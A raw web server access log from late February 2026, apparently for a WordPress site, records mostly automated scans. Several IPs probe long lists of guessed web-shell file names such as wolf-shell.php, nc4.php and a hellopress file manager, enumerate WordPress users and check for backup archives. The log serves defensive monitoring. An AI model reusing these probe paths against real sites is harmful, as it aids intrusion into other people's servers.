172.190.142.176 - - [26/Feb/2026:12:51:28 +0300] "GET /ffd.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:56 +0300] "GET /fault.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:59 +0300] "GET /motu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:48:03 +0300] "GET /66.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:48:49 +0300] "GET /666.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:51:02 +0300] "GET /forbidals.php HTTP/1.1" 301 795 "-" "-" 185.226.197.52 - - [26/Feb/2026:12:42:10 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 172.190.142.176 - - [26/Feb/2026:12:46:59 +0300] "GET /ws60.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:06 +0300] "GET /samiri.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:21 +0300] "GET /xoot.php HTTP/1.1" 301 795 "-" "-" 213.199.34.224 - - [26/Feb/2026:12:57:20 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 43.163.206.70 - - [26/Feb/2026:13:19:44 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 172.190.142.176 - - [26/Feb/2026:12:48:57 +0300] "GET /kj.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:50 +0300] "GET /lul.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:53 +0300] "GET /0.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:11 +0300] "GET /ya.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:15 +0300] "GET /grsiuk.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:19 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:48:33 +0300] "GET /nw.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:07 +0300] "GET /fs.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:49 +0300] "GET /wp5.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:51 +0300] "GET /fot.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:51:09 +0300] "GET //erty.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:51:16 +0300] "GET /dev1s.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:47 +0300] "GET /xda.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:51 +0300] "GET /er.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:40 +0300] "GET /cu.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:44 +0300] "GET /06.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:45:56 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:13 +0300] "GET /plugins.php?p= HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:02 +0300] "GET /un.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:24 +0300] "GET /wp-access.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:27 +0300] "GET /a1vx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:50:57 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 185.226.197.55 - - [26/Feb/2026:12:42:25 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36 BitSightBot/1.0" 172.190.142.176 - - [26/Feb/2026:12:46:06 +0300] "GET /myfile.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:09 +0300] "GET /work.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:46:12 +0300] "GET /C.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:26 +0300] "GET /X57.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:29 +0300] "GET /vx.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:34 +0300] "GET /file59.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:37 +0300] "GET /wp-admin/css/bolt.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:39 +0300] "GET /shas.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:47:42 +0300] "GET /xa.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:48:12 +0300] "GET /leuk.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:48:43 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:22 +0300] "GET /login8.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:25 +0300] "GET /nnyvn.php HTTP/1.1" 301 795 "-" "-" 172.190.142.176 - - [26/Feb/2026:12:49:59 +0300] "GET /ms-edit.php HTTP/1.1" 301 795 "-" "-" 196.251.131.92 - - [26/Feb/2026:13:20:03 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.86.73.129 - - [26/Feb/2026:15:09:08 +0300] "GET /wp-content/plugins/file-away/readme.txt HTTP/1.1" 301 795 "-" "Python-urllib/2.7" 50.114.33.153 - - [26/Feb/2026:13:51:58 +0300] "GET //wp-json/wp/v2/posts HTTP/1.0" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 77.90.185.5 - - [26/Feb/2026:13:37:25 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 CCleaner/130.0.0.0" 51.79.99.31 - - [26/Feb/2026:16:56:48 +0300] "GET / HTTP/1.1" 301 795 "https://www.google.com" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0" 195.201.199.99 - - [26/Feb/2026:17:14:13 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 195.201.199.99 - - [26/Feb/2026:17:13:59 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v1.4.8; http://mj12bot.com/)" 66.132.153.142 - - [26/Feb/2026:18:09:20 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 20.151.107.14 - - [26/Feb/2026:17:21:32 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 43.159.143.139 - - [26/Feb/2026:17:59:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 157.15.40.90 - - [26/Feb/2026:18:17:12 +0300] "GET /wp-includes/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 43.133.187.11 - - [26/Feb/2026:18:54:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 157.15.40.90 - - [26/Feb/2026:18:16:45 +0300] "GET /txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 157.15.40.90 - - [26/Feb/2026:18:17:18 +0300] "GET /schallfuns.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 106.54.62.156 - - [26/Feb/2026:19:09:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 157.15.40.90 - - [26/Feb/2026:18:16:53 +0300] "GET /wp-content/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 157.15.40.90 - - [26/Feb/2026:18:17:07 +0300] "GET /wp-admin/txets.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 157.15.40.90 - - [26/Feb/2026:18:17:21 +0300] "GET /postnews.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 62.113.116.213 - - [26/Feb/2026:20:11:20 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 85.198.109.165 - - [26/Feb/2026:20:23:45 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 91.212.150.122 - - [26/Feb/2026:20:24:08 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36" 173.252.83.3 - - [26/Feb/2026:21:57:47 +0300] "GET / HTTP/1.1" 301 795 "-" "meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)" 185.241.211.8 - - [26/Feb/2026:22:31:33 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Mobile Safari/537.36" 185.241.211.8 - - [26/Feb/2026:22:31:33 +0300] "GET /?rest_route=/wp/v2/users HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15" 185.241.211.8 - - [26/Feb/2026:22:31:33 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36" 115.45.40.128 - - [26/Feb/2026:21:39:52 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3298.157 Safari/537.36 OPR/63.0.3368.43" 173.252.83.8 - - [26/Feb/2026:21:57:46 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 20.151.2.242 - - [26/Feb/2026:23:04:44 +0300] "GET /gaigu.php HTTP/1.1" 301 795 "-" "-" 20.220.188.158 - - [26/Feb/2026:23:04:54 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 20.151.2.242 - - [26/Feb/2026:23:04:49 +0300] "GET //input.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [26/Feb/2026:23:04:58 +0300] "GET /yr.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [26/Feb/2026:23:05:07 +0300] "GET /god.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [26/Feb/2026:23:04:29 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.151.2.242 - - [26/Feb/2026:23:05:12 +0300] "GET /ff1.php HTTP/1.1" 301 795 "-" "-" 43.131.26.226 - - [27/Feb/2026:00:22:01 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 116.237.96.109 - - [26/Feb/2026:23:45:32 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 54.236.168.139 - - [26/Feb/2026:23:53:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 172.86.73.129 - - [27/Feb/2026:00:29:03 +0300] "HEAD /backup.zip HTTP/1.1" 301 0 "-" "python-requests/2.27.1" 104.238.30.50 - - [27/Feb/2026:00:32:06 +0300] "GET http://eliteewallet.com/wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 172.212.113.5 - - [27/Feb/2026:02:03:50 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 43.159.140.236 - - [27/Feb/2026:01:21:33 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 121.229.185.160 - - [27/Feb/2026:01:42:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.220.165.49 - - [27/Feb/2026:03:19:42 +0300] "GET /asc.php HTTP/1.1" 301 795 "-" "-" 20.220.165.49 - - [27/Feb/2026:03:19:28 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:45 +0300] "GET /aq.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:48 +0300] "GET /011i.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:51 +0300] "GET /edit-tags.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:55 +0300] "GET /as1337.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:58 +0300] "GET /Okxob.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:16:12 +0300] "GET /core.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:16:15 +0300] "GET /zeal.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:16:18 +0300] "GET /asf.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:16:21 +0300] "GET /sa.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:14:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:14:42 +0300] "GET /wp-includes/SimplePie/cah.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:13 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:23 +0300] "GET /wpo.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:16:06 +0300] "GET /wolf-shell.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:14:52 +0300] "GET /cah.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:14:55 +0300] "GET /wp-content/plugins/pwnd/acp.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:14:58 +0300] "GET /acp.php HTTP/1.1" 301 795 "-" "-" 4.205.37.160 - - [27/Feb/2026:04:15:34 +0300] "GET /x123x.php HTTP/1.1" 301 795 "-" "-" 20.171.9.142 - - [27/Feb/2026:04:17:46 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 4.205.37.160 - - [27/Feb/2026:04:15:05 +0300] "GET /muzu.php HTTP/1.1" 301 795 "-" "-" 217.160.139.117 - - [27/Feb/2026:04:41:51 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 31.56.177.209 - - [27/Feb/2026:07:04:40 +0300] "GET /wp-content/plugins/buddypress/readme.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/603.1.13 (KHTML, like Gecko) Version/10.1 Safari/603.1.13" 93.158.90.29 - - [27/Feb/2026:07:14:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.280 Mobile Safari/537.36 OPR/80.4.4244.7786" 147.182.246.93 - - [27/Feb/2026:08:01:58 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 43.166.242.189 - - [27/Feb/2026:08:07:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 93.158.90.35 - - [27/Feb/2026:07:14:30 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 14; SM-S901B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.280 Mobile Safari/537.36 OPR/80.4.4244.7786" 43.165.189.110 - - [27/Feb/2026:07:04:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 182.44.8.254 - - [27/Feb/2026:08:20:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 31.56.177.209 - - [27/Feb/2026:10:57:21 +0300] "GET /?feed=rss2 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13) AppleWebKit/603.1.13 (KHTML, like Gecko) Version/10.1 Safari/603.1.13" 74.243.251.125 - - [27/Feb/2026:12:17:46 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:16 +0300] "GET /cxxuv.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:20 +0300] "GET /gi.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:19 +0300] "GET /pass4.php HTTP/1.1" 301 795 "-" "-" 4.204.192.31 - - [27/Feb/2026:12:54:07 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 4.204.192.31 - - [27/Feb/2026:12:54:08 +0300] "GET /asc.php HTTP/1.1" 301 795 "-" "-" 100.30.5.6 - - [27/Feb/2026:13:07:34 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (Gort)" 20.220.221.45 - - [27/Feb/2026:13:25:10 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:26 +0300] "GET /shop.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:28 +0300] "GET /0xD.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:26 +0300] "GET /x123.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:29 +0300] "GET /sh.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:31 +0300] "GET /nc4.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:06 +0300] "GET /sc.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:09 +0300] "GET /abpxrnwe.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:29:06 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:52 +0300] "GET /wp9.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:59 +0300] "GET /ovajelmxf.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:46 +0300] "GET /ovajckrrj.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:55 +0300] "GET /sa.php7 HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:22 +0300] "GET /8.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:56 +0300] "GET /wdf.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:59 +0300] "GET /public/vx.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:29:13 +0300] "GET /ccrheegr.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:36 +0300] "GET /xigmltad.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:40 +0300] "GET /gh.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:46 +0300] "GET /lupo.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:50 +0300] "GET /lp5.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:36 +0300] "GET /lb.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:46 +0300] "GET /abalqdol.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:51 +0300] "GET /bykdo.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:29:23 +0300] "GET /wp-the.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:06 +0300] "GET /bxhnfdgd.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:09 +0300] "GET /solaciousness.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:50 +0300] "GET /lp6.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:41 +0300] "GET /zyjhr.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:44 +0300] "GET /sad.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:47 +0300] "GET /hzz.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:12 +0300] "GET /aqotrjkg.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:33 +0300] "GET /ovajkgsbb.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:36 +0300] "GET /bhigtouj.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:39 +0300] "GET /ggddssvl.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:42 +0300] "GET /uujuu.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:16 +0300] "GET /erty.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:26:20 +0300] "GET /zvinn.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:01 +0300] "GET /ws77.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:25:36 +0300] "GET /b7cdb465.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:24 +0300] "GET /trx24.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:27:27 +0300] "GET /hplfuns.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:00 +0300] "GET /ckmtelzy.php HTTP/1.1" 301 795 "-" "-" 20.220.221.45 - - [27/Feb/2026:13:28:30 +0300] "GET /bypltspd.php HTTP/1.1" 301 795 "-" "-" 43.153.104.196 - - [27/Feb/2026:13:47:49 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 194.31.72.75 - - [27/Feb/2026:13:58:18 +0300] "GET /hello-world/ HTTP/1.0" 301 795 "http://eliteewallet.com/hello-world/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36" 20.220.8.221 - - [27/Feb/2026:13:35:39 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.220.8.221 - - [27/Feb/2026:13:35:39 +0300] "GET /f.php HTTP/1.1" 301 795 "-" "-" 193.183.123.149 - - [27/Feb/2026:14:52:27 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/93.8.2357.5" 43.130.3.122 - - [27/Feb/2026:14:40:25 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 125.94.144.102 - - [27/Feb/2026:15:29:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 204.48.25.15 - - [27/Feb/2026:15:56:32 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 204.48.25.15 - - [27/Feb/2026:15:56:32 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 14.56.118.164 - - [27/Feb/2026:16:51:43 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" 